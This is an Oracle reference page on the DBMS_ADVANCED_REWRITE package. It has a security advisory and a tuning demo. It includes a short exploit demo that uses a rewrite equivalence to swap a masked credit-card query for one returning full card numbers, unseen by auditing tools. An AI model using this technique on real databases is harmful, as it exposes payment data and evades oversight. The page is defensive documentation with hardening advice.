Security Advisory |
The Oracle built-in PL/SQL package DBMS_ADVANCED_REWRITE can be used to invisibly circumvent what appears to be security and can be used to make the results of a pentest nothing short of laughable.
This is why, as you will clearly see in the demo below, penetration testing has value at the network level but is of little or no value once the perimeter is penetrated and the only defensive layer left is the database itself.
Note also that products like Database Firewall, Audit Vault, etc. are unlikely to observe the vulnerability demonstrated here. |
|
Recommended Security Rules |
NEVER
- Grant EXECUTE on this package to any user unless for a very specific purpose and the privilege should be immediately revoked after that activity is completed.
- Immediately, as used here, means it should be granted for no more than a few minutes which is all of the time required to use this package for a valid purpose.
WITH GREAT CARE
- Query the data dictionary after the privilege has been revoked to verify the equivalence created is the equivalence approved by IT management and your CISO.
CAUTIONS
- Be wary of any request for EXECUTE privilege for this package. The request, except to implement a known solution to a known performance issue is highly suspicious and should be treated accordingly.
|
|
How Oracle Works |
How Oracle imagined this package would be used |
In the following example we demonstrate how an innocuous SQL statement written with an INTERSECT can be improved replaced by an equivalent statement using EXISTS that provides vastly improved performance.
conn sys as sysdba@pdbdev
This is the existing SQL statement that we have decided is too cpu intensive and is built into an application from a third party vendor and they won't fix their "bad" code.
SQL> SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;
SRVR_ID
--------
2
3
5
12
14
501
502
503
504
505
506
11 rows selected.
As you can see the query returns 11 ordered rows.
Here is the "good" SQL statement we want to use to replace it.
SQL> SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id);
SRVR_ID
--------
2
3
5
12
14
501
502
503
504
505
506
11 rows selected.
As you can see it returns the exact same 11 rows in the same order so they are equivalent.
When we compare the explain plans we see that our rewrite reduces cpu utilization by 50%.
First the "bad" with the INTERSECT than the "good" with EXISTS.
EXPLAIN PLAN FOR
SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;
set linesize 121
SELECT * FROM TABLE(dbms_xplan.display);
PLAN_TABLE_OUTPUT
---------------------------------------------------------------------------
Plan hash value: 308464373
---------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)|
---------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 141 | 4560 | 6 (34)|
| 1 | INTERSECTION | | | | |
| 2 | SORT UNIQUE NOSORT | | 141 | 564 | 2 (50)|
| 3 | INDEX FULL SCAN | PK_SERVERS | 141 | 564 | 1 (0)|
| 4 | SORT UNIQUE | | 999 | 3996 | 4 (25)|
| 5 | INDEX FAST FULL SCAN | PK_SERV_INST | 999 | 3996 | 3 (0)|
---------------------------------------------------------------------------
EXPLAIN PLAN FOR
SELECT srvr_id
FROM uwclass.servers s
WHERE EXISTS (
SELECT srvr_id
FROM uwclass.serv_inst i
WHERE s.srvr_id = i.srvr_id);
PLAN_TABLE_OUTPUT
------------------------------------------------------------------------
Plan hash value: 728010459
------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)|
------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 11 | 88 | 6 (17)|
| 1 | NESTED LOOPS | | 11 | 88 | 6 (17)|
| 2 | SORT UNIQUE | | 999 | 3996 | 5 (0)|
| 3 | INDEX FULL SCAN | PK_SERV_INST | 999 | 3996 | 5 (0)|
| *4 | INDEX UNIQUE SCAN | PK_SERVERS | 1 | 4 | 0 (0)|
------------------------------------------------------------------------
You should also note that the optimizer
miscalculates the number of rows returned by the "bad" SQL. The query
returns 11 rows, not 141. Note to Oracle Corp. I've been pointing this out to you for more than 19 years.
So, since we cannot get the vendor to fix their code and it is embedded in their application we use Advanced Rewrite to replace to inferior statement with the superior statement.
BEGIN
dbms_advanced_rewrite.declare_rewrite_equivalence('UW',
'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst',
'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)',
TRUE,
'TEXT_MATCH');
END;
/
The source and destination statements are stored in sys.sum$ in the SRC_STMT and DEST_STMT colums and can more easily be reviewed with the following query.
SELECT *
FROM user_rewrite_equivalences;
So, now that we have the equivalence created let's see what happens when the application runs the "bad" statement. We cannot look at the results as they will be identical so we will examine the Explain Plan.
EXPLAIN PLAN
FOR
SELECT srvr_id FROM uwclass.servers
INTERSECT
SELECT srvr_id FROM uwclass.serv_inst;
SELECT * FROM TABLE(dbms_xplan.display);
PLAN_TABLE_OUTPUT
------------------------------------------------------------------------
Plan hash value: 728010459
------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)|
------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 11 | 88 | 6 (17)|
| 1 | NESTED LOOPS | | 11 | 88 | 6 (17)|
| 2 | SORT UNIQUE | | 999 | 3996 | 5 (0)|
| 3 | INDEX FULL SCAN | PK_SERV_INST | 999 | 3996 | 5 (0)|
| *4 | INDEX UNIQUE SCAN | PK_SERVERS | 1 | 4 | 0 (0)|
------------------------------------------------------------------------
Predictably, Oracle technology works and we get the nested loop and the lower cpu utilization.
To remove an existing equivalency again use the DBMS_ADVANCED_REWRITE
package.
exec dbms_advanced_rewrite.drop_rewrite_equivalence ('UW');
As we said at the beginning of this demo ... this is how Oracle Corp. envisioned this capability being used. |
An exploit that takes advantage of this package to end-run security, testing, and auditing. |
The problem
with good intentions, whether Oracle's or yours is that state actors and
organized crime families look at every syntax and every tool and try to
find a weakness that can be exploited. This package encapsulates, as you
will see in the following demo, a very substantial vulnerability.
CREATE TABLE uwclass.credit_card (
ccno VARCHAR2(19),
cc_final4 VARCHAR2(4), -- has only the final 4 digits of the credit card number
cc_expdate DATE,
cc_ccv NUMBER(4));
INSERT INTO uwclass.credit_card
(ccno, cc_final4, cc_expdate, cc_ccv)
VALUES
('4370-1234-5678-0042', '0042', SYSDATE, '9584');
INSERT INTO uwclass.credit_card
(ccno, cc_final4, cc_expdate, cc_ccv)
VALUES
('3704-4321-8765-1950', '1950', SYSDATE, '1661');
COMMIT;
This is what we want application users to see:
Only the final four numbers of the credit card.
SELECT cc_final4 FROM uwclass.credit_card;
CC_F
----
0042
1950
This is what an organized crime family wants to see, the full credit
card number.
SELECT ccno FROM uwclass.credit_card;
CCNO
-------------------
4370-1234-5678-0042
3704-4321-8765-1950
It takes only this much code to compromise
the application's built-in security and it will be invisible to DBAs and
every security tool you have deployed to date. Why? Because security tools
look at the SQL that was sent to the database ... not what the optimizer actually executed.
SQL> BEGIN
2 dbms_advanced_rewrite.declare_rewrite_equivalence(
3 'UW',
4 'SELECT cc_final4 FROM uwclass.credit_card',
5 'SELECT ccno FROM uwclass.credit_card',
6 FALSE,
7 'RECURSIVE');
8 END;
9 /
PL/SQL procedure successfully completed.
When the application's SQL statement asking for the final 4 digits in the credit card is run
SQL> SELECT cc_final4 FROM uwclass.credit_card;
The results returned are of the entire credit card number
CC_FINAL4
-------------------
4370-1234-5678-0042
3704-4321-8765-1950
Yes, this exploit requires the EXECUTE privilege on the DBMS_ADVANCED_REWRITE package but that should give you no comfort.
History has clearly demonstrated that those already possessing that
privilege are not immune from temptation and blackmail. Neither is it
especially difficult using SQL Injection and other techniques to escalate
privileges to accomplish
this attack. One example, the GLOGIN attack on our exploits page could be
used to grant the necessary object privilege. |
|
DBMS_ADVANCED_REWRITE Package Information |
AUTHID |
CURRENT_USER |
Character Set |
The character set must be set to WE8ISO8859P1 for this feature to work in some versions |
Dependencies |
ALL_REWRITE_EQUIVALENCES |
DBMS_STANDARD |
DBMS_UTILITY |
DBA_REWRITE_EQUIVALENCES |
DBMS_SYS_ERROR |
SUM$ |
DBMS_RWEQUIV_LIB |
|
|
|
Documented in Types & Packages |
Yes |
Exceptions |
Error Code |
Reason |
ORA-30354 |
Query rewrite not allowed on SYS relations |
ORA-30388 |
Name of the rewrite equivalence is not specified |
ORA-30389 |
The source statement is not compatible with the destination statement |
ORA-30391 |
The specified rewrite equivalence does not exist |
ORA-30392 |
The checksum analysis for the rewrite equivalence failed |
ORA-30393 |
A query block in the statement did not rewrite |
ORA-30394 |
Source statement identical to the destination statement |
ORA-30396 |
Rewrite equivalence procedures require the COMPATIBLE parameter to be set to 10.1 or greater |
|
First Available |
10.1 |
Modes |
Value |
Description |
disabled |
Query rewrite does not use the equivalence declaration. Use this mode to temporarily disable use of the rewrite equivalence declaration. |
general |
Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries.
However, query rewrite makes no attempt to rewrite the specified destination_query. |
recursive |
Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries.
Moreover, query rewrite further attempts to rewrite the specified destination_query for further performance enhancements whenever it uses the equivalence declaration. |
text_match |
Query rewrite uses the equivalence declaration only in its text match modes. This mode is useful for simple transformations. |
|
Security Model |
Owned by SYS with no privileges granted
The following changes may be required to grant EXECUTE on this package to a named user or application depending upon usage.
GRANT execute ON dbms_advanced_rewrite TO uwclass;
GRANT create materialized view TO uwclass;
CREATE SYNONYM dbms_advanced_rewrite FOR sys.dbms_advanced_rewrite; |
Source |
{ORACLE_HOME}/rdbms/admin/prvtxrmv.plb |
Startup Parameters |
ALTER SYSTEM SET query_rewrite_integrity = <'TRUSTED' | 'STALE_TOLERATED'>
SCOPE=<BOTH | MEMORY | SPFILE>; |
set linesize 121
col name format a30
col value format a30
SELECT name, value
FROM gv$parameter
WHERE name LIKE '%rewrite%';
ALTER SYSTEM SET query_rewrite_integrity = 'TRUSTED'
COMMENT='Permanent Change To System Configuration'
SID='*'
SCOPE=BOTH;
SELECT name, value
FROM gv$parameter
WHERE name LIKE '%rewrite%';
-- the 10g through 12cR1 default is ENFORCED which is not compatible. |
Subprograms |
|
|
ALTER_REWRITE_EQUIVALENCE |
Changes the mode of the rewrite equivalence declaration to the mode specified |
dbms_advanced_rewrite.alter_rewrite_equivalence(
name IN VARCHAR2,
rewrite_mode IN VARCHAR2); |
exec dbms_advanced_rewrite.alter_rewrite_equivalence('UW', 'DISABLED'); |
|
BUILD_SAFE_REWRITE_EQUIVALENCE |
Enables the rewrite of top-level materialized views using sub-materialized views |
dbms_advanced_rewrite.build_safe_rewrite_equivalence(
name IN VARCHAR2,
source_stmt IN CLOB,
destination_stmt IN CLOB,
check_sum IN BINARY_INTEGER); |
TBD |
Warning: This procedure enables the rewrite and refresh of top-level materialized views using submaterialized views. It is provided for the exclusive use by scripts generated by the DBMS_ADVISOR.TUNE_MVIEW procedure.
It is required to enable query rewrite and fast refresh when DBMS_ADVISOR.TUNE_MVIEW decomposes a materialized view into a top-level materialized view and one or more submaterialized views.
Oracle does not recommend you directly use the BUILD_SAFE_REWRITE_EQUIVALENCE procedure.
You should use either the DBMS_ADVISOR.TUNE_MVIEW or the DBMS_ADVANCED_REWRITE.CREATE_REWRITE_EQUIVALENCE procedure as appropriate. |
|
DECLARE_REWRITE_EQUIVALENCE |
Creates a declaration indicating that source_stmt is functionally equivalent to destination_stmt for as long as the equivalence declaration remains enabled |
dbms_advanced_rewrite.declare_rewrite_equivalence (
name VARCHAR2,
source_stmt CLOB,
destination_stmt CLOB,
validate BOOLEAN := TRUE,
rewrite_mode VARCHAR2 := 'TEXT_MATCH'); |
conn sys as sysdba@pdbdev
GRANT execute on dbms_advanced_rewrite TO uwclass;
GRANT create materialized view TO uwclass;
CREATE OR REPLACE PUBLIC SYNONYM dbms_advanced_rewrite
FOR dbms_advanced_rewrite;
conn uwclass/uwclass@pdbdev
-- click here
to download demo test data and save to c:\temp
-- create the demo tables and data by running servers.sql
SQL> @c:\temp\servers.sql
EXPLAIN PLAN FOR
SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;
set linesize 121
SELECT * FROM TABLE(dbms_xplan.display);
EXPLAIN PLAN FOR
SELECT srvr_id
FROM uwclass.servers s
WHERE EXISTS (
SELECT srvr_id
FROM uwclass.serv_inst i
WHERE s.srvr_id = i.srvr_id);
SELECT * FROM TABLE(dbms_xplan.display);
BEGIN
dbms_advanced_rewrite.declare_rewrite_equivalence('UW',
'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst',
'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)',
TRUE,
'TEXT_MATCH');
END;
/
SELECT *
FROM user_rewrite_equivalences;
EXPLAIN PLAN
SET STATEMENT_ID = 'AFTER'
FOR
SELECT srvr_id FROM uwclass.servers
INTERSECT
SELECT srvr_id FROM uwclass.serv_inst;
SELECT * FROM TABLE(dbms_xplan.display);
exec dbms_advanced_rewrite.drop_rewrite_equivalence ('UW');
EXPLAIN PLAN
SET STATEMENT_ID = 'AFTER'
FOR
SELECT srvr_id FROM servers
INTERSECT
SELECT srvr_id FROM serv_inst;
SELECT * FROM TABLE(dbms_xplan.display); |
|
DROP_REWRITE_EQUIVALENCE |
Drops the specified rewrite equivalence declaration |
dbms_advanced_rewrite.drop_rewrite_equivalence(name IN VARCHAR2); |
exec dbms_advanced_rewrite.drop_rewrite_equivalence('UW'); |
|
VALIDATE_REWRITE_EQUIVALENCE |
Validates the rewrite equivalence declaration using the specified mode |
dbms_advanced_rewrite.validate_rewrite_equivalence(name IN VARCHAR2); |
exec dbms_advanced_rewrite.validate_rewrite_equivalence('UW'); |